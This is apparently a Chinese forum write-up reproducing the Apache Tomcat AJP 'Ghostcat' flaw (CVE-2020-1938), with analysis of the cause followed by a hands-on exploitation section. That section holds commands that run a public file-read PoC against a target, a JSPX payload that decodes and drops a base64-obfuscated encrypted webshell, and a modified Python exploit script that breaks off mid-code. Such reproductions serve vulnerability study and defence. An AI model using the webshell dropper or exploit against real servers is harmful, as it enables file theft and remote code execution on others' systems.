標題:CVE-2020-1938 :Apache Tomcat AJP 漏洞復現和分析

taibeihacker

Moderator

一、漏洞描述​

Apache Tomcat是由Apache軟件基金會屬下Jakarta項目開發的Servlet容器.默認情況下,Apache Tomcat會開啟AJP連接器,方便與其他Web服務器通過AJP協議進行交互.但Apache Tomcat在AJP協議的實現上存在漏洞,導致攻擊者可以通過發送惡意的AJP請求,可以讀取或者包含Web應用根目錄下的任意文件,如果配合文件上傳任意格式文件,將可能導致任意代碼執行(RCE).該漏洞利用AJP服務端口實現攻擊,未開啟AJP服務對外不受漏洞影響(tomcat默認將AJP服務開啟並綁定至0.0.0.0/0).

二、危险等级​

高危

三、漏洞危害​

攻擊者可以讀取Tomcat所有webapp目錄下的任意文件。此外如果網站應用提供文件上傳的功能,攻擊者可以先向服務端上傳一個內容含有惡意JSP 腳本代碼的文件(上傳的文件本身可以是任意類型的文件,比如圖片、純文本文件等),然後利用Ghostcat 漏洞進行文件包含,從而達到代碼執行的危害

四、影响范围​

Apache Tomcat 9.x 9.0.31
Apache Tomcat 8.x 8.5.51
Apache Tomcat 7.x 7.0.100
Apache Tomcat 6.x

五、前提条件​

對於處在漏洞影響版本範圍內的Tomcat 而言,若其開啟AJP Connector 且攻擊者能夠訪問AJP Connector 服務端口的情況下,即存在被Ghostcat 漏洞利用的風險。注意Tomcat AJP Connector 默認配置下即為開啟狀態,且監聽在0.0.0.0:8009 。

六、漏洞原理​

Tomcat 配置了兩個Connecto,它們分別是HTTP 和AJP :HTTP默認端口為8080,處理http請求,而AJP默認端口8009,用於處理AJP 協議的請求,而AJP比http更加優化,多用於反向、集群等,漏洞由於Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件以及可以包含任意文件,如果有某上傳點,上傳圖片馬等等,即可以獲取shel

七、漏洞分析​

1.漏洞成因分析:tomcat默認的conf/server.xml中配置了2個Connector,一個為8080的對外提供的HTTP協議端口,另外一個就是默認的8009 AJP協議端口,兩個端口默認均監聽在外網ip。
如下圖:
rfi4fcyc2p222486.png

tomcat在接收ajp請求的時候調用org.apache.coyote.ajp.AjpProcessor來處理ajp消息,prepareRequest將ajp裡面的內容取出來設置成request對象的Attribute屬性
如下圖:
lpst3gcpjnh22487.png

因此可以通過此種特性從而可以控制request對象的下面三個Attribute屬性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然後封裝成對應的request之後,繼續走servlet的映射流程如下圖所示:
pjhw3qfrhnr22488.png

其中具體的映射方式就簡略了,具體可以自己查看代碼.
2.利用方式:(1)、利用DefaultServlet實現任意文件下載
當url請求未在映射的url列表裡面則會通過tomcat默認的DefaultServlet會根據上面的三個屬性來讀取文件,如下圖
ugq5x3o33hy22489.png

通過serveResource方法來獲取資源文件
2mawngx3gcy22490.png

通過getRelativePath來獲取資源文件路徑
nrtc4bmsqsk22491.png

然後再通過控制ajp控制的上述三個屬性來讀取文件,通過操控上述三個屬性從而可以讀取到/WEB-INF下面的所有敏感文件,不限於class、xml、jar等文件。
(2)、通過jspservlet實現任意後綴文件包含
當url(比如http://xxx/xxx/xxx.jsp)請求映射在org.apache.jasper.servlet.JspServlet這個servlet的時候也可通過上述三個屬性來控制訪問的jsp文件如下圖:
wxdibkksxhd22492.png

控制路徑之後就可以以jsp解析該文件所以只需要一個可控文件內容的文件即可實現rce.

八、漏洞复现​

1.环境的准备(1).windows下漏洞復現環境準備,這里以tomcat-8.5.32為例。
(2)、安裝jdk並配置JDK環境
(3)、然後啟動tomcat,點擊tomcat目錄/bin 文件夾下的startup.bat
zgw5ori4l0o22493.png

2.漏洞复现利用(1)、任意文件讀取(這裡可以讀取webapps目錄下的任何文件)
root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml
2at1cnnkloo22494.png
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f index.jsp
e5czxtqddl422495.png
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f test.txt
1aaduixs2aj22496.png
2.任意文件包含:(这个有点鸡肋,需要上传要包含的文件内容)(1)、先上傳需要包含的JSP文件代碼,這裡是冰蠍小馬(test.txt)
下面是將test.txt文件上傳到ROOT目錄下(這里為了漏洞演示,我直接將文件上傳到該目錄下,在實際的環境中,可以通過文件上傳漏洞,上傳txt文件結合利用漏洞)
qmensoxuiwt22497.png

test.txt文件內容:
jsp:root xmlns:jsp='http://java.sun.com/JSP/Page' xmlns='http://www.w3.org/1999/xhtml' xmlns:c='http://java.sun.com/jsp/jstl/core' version='2.0'
jsp:directive.page contentType='text/html' pageEncoding='utf-8'/
jsp:directive.page import='java.io.*'/
jsp:directive.page import='sun.misc.BASE64Decoder'/
htmlheadtitlefuck/title/head
body bgcolor='#ffffff'
//mima:pass
jsp:scriptlet![CDATA[
String realPath=request.getRealPath(request.getRequestURI());
String dir=new File(realPath).getParent();
String strPath=dir+'/t00ls.jspx';
File strFile=new File(strPath);
boolean fileCreated=strFile.createNewFile();
Writer jspx=new BufferedWriter(new FileWriter(strFile));
String tmp='PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVK ENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pz cDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVV SUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTt uZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocm VxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4=';
String str=new String((new BASE64Decoder()).decodeBuffer(tmp));
String eStr=java.net.URLDecoder.decode(str);
jspx.write(eStr);
jspx.flush();
jspx.close();
out.println(strPath);
]]/jsp:scriptlet
/body
/html
/jsp:root
(2)、測試可以直接訪問test.txt
(3)、需要對poc進行修改,將包含'/asdf '修改為'/asdf.jspx'
其修改後的代碼如下:
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack('h', -1)
l=len(s)
return struct.pack('H%dsb' % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size=struct.calcsize(fmt)
buf=stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size,=unpack(stream, 'h')
if size==-1: # null string
return None
res,=unpack(stream, '%ds' % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server==web server, container==servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER=range(2)
MAX_REQUEST_LENGTH=8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream=data_stream
self.data_len=data_len
self.data_direction=data_direction
def serialize(self):
data=self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data)==0:
return struct.pack('bbH',0x12,0x34,0x00)
else:
res=struct.pack('H', len(data))
res +=data
if self.data_direction==AjpBodyRequest.SERVER_TO_CONTAINER:
header=struct.pack('bbH',0x12,0x34, len(res))
else:
header=struct.pack('bbH',0x41,0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data=self.serialize()
socket.send(data)
r=AjpResponse.receive(stream)
while r.prefix_code !=AjpResponse.GET_BODY_CHUNK and r.prefix_code !=AjpResponse.SEND_HEADERS:
r=AjpResponse.receive(stream)
if r.prefix_code==AjpResponse.SEND_HEADERS or len(data)==4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY=range(28)
REQUEST_METHODS={'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server==web server, container==servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER=range(2)
COMMON_HEADERS=['SC_REQ_ACCEPT',
'SC_REQ_ACCEPT_CHARSET', 'SC_REQ_ACCEPT_ENCODING', 'SC_REQ_ACCEPT_LANGUAGE', 'SC_REQ_AUTHORIZATION',
'SC_REQ_CONNECTION', 'SC_REQ_CONTENT_TYPE', 'SC_REQ_CONTENT_LENGTH', 'SC_REQ_COOKIE', 'SC_REQ_COOKIE2',
'SC_REQ_HOST', 'SC_REQ_PRAGMA', 'SC_REQ_REFERER', 'SC_REQ_USER_AGENT'
]
ATTRIBUTES=['context', 'servlet_path', 'remote_user', 'auth_type', 'query_string', 'route', 'ssl_cert', 'ssl_cipher', 'ssl_session', 'req_attribute', 'ssl_key_size', 'secret', 'stored_method']
def __init__(self, data_direction=None):
self.prefix_code=0x02
self.method=None
self.protocol=None
self.req_uri=None
self.remote_addr=None
self.remote_host=None
self.server_name=None
self.server_port=None
self.is_ssl=None
self.num_headers=None
self.request_headers=None
self.attributes=None
self.data_direction=data_direction
def pack_headers(self):
self.num_headers=len(self.request_headers)
res=''
res=struct.pack('h', self.num_headers)
for h
 
返回
上方